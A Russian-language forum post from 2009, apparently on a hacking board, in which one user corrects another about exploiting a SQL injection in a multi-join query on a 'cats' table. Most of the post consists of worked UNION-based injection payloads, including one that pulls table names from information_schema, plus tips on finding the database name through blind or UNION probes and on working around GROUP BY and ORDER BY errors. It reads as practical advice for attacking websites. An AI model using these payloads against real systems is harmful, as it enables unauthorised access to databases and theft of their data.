Показать сообщение отдельно

  #7563  
Старый 12.06.2009, 15:43
maybah
Новичок
Регистрация: 08.06.2009
Сообщений: 4
С нами: 8908255

Репутация: 6
По умолчанию

Цитата:
Сообщение от PaCo  
Попробуй продолжить запрос, например:
Цитата:
SELECT cats.*,
IF(subcats.id IS NULL, 'N', 'Y') AS has_subcats,
subcats.name AS subcat_name,
parentcat.name AS parentcat_name
FROM cats
LEFT JOIN cats AS subcats ON subcats.parent_id = cats.id
LEFT JOIN cats AS parentcat ON parentcat.id = cats.parent_id
WHERE 1 AND cats.id = -98145 union select 1,(select 1 from table limit 1),3 from cats GROUP BY cats.id
ORDER BY cats.order_fld,cats.name

правда в 5-как с альясами при union выдаст тебе что cats.id - нема такой таблички(Unknown column 'id' in 'order clause'):

Цитата:
Also, if a column to be sorted is aliased, the ORDER BY clause must refer to the alias, not the column name.
вы неверно уловили суть проблемы, во
1-ых. по за-альяс'иным колонкам сортирует только груп, который находится в строке с inj.(%23)
2. у group другая ошибка
3. group в отличии от ордер бай в таких запросах сортирует ближайшую выборку
4. +не уверен, но group (в отличии от order) выполняется до формирования столбцов из select, а значит не должен ссылатся на альясы
5. даже если бы проблема была в group, альяс или колонку можно было бы вписать во вторую выборку
немного практики- узнаем имя бд(блинд или +union select 1 from lala%23)
и составляем запрос в такoм дуxe:

Цитата:
SELECT cats.*,
IF(subcats.id IS NULL, 'N', 'Y') AS has_subcats,
subcats.name AS subcat_name,
parentcat.name AS parentcat_name
FROM cats
LEFT JOIN cats AS subcats ON subcats.parent_id = cats.id
LEFT JOIN cats AS parentcat ON parentcat.id = cats.parent_id
WHERE 1 AND cats.id = 145 union select cats.*,table_name,1,2 from имя_базы.cats,information_schema.tables
GROUP BY cats.id
ORDER BY cats.order_fld,cats.name
конкретно здесь работать не будет, потаму что поля в ордербае задаются в виде имя_табл.колонка (что не катит в двойных запросах)
но если в вашей многострочной скуле order by поле то этот способ вам поможет)
 
Ответить с цитированием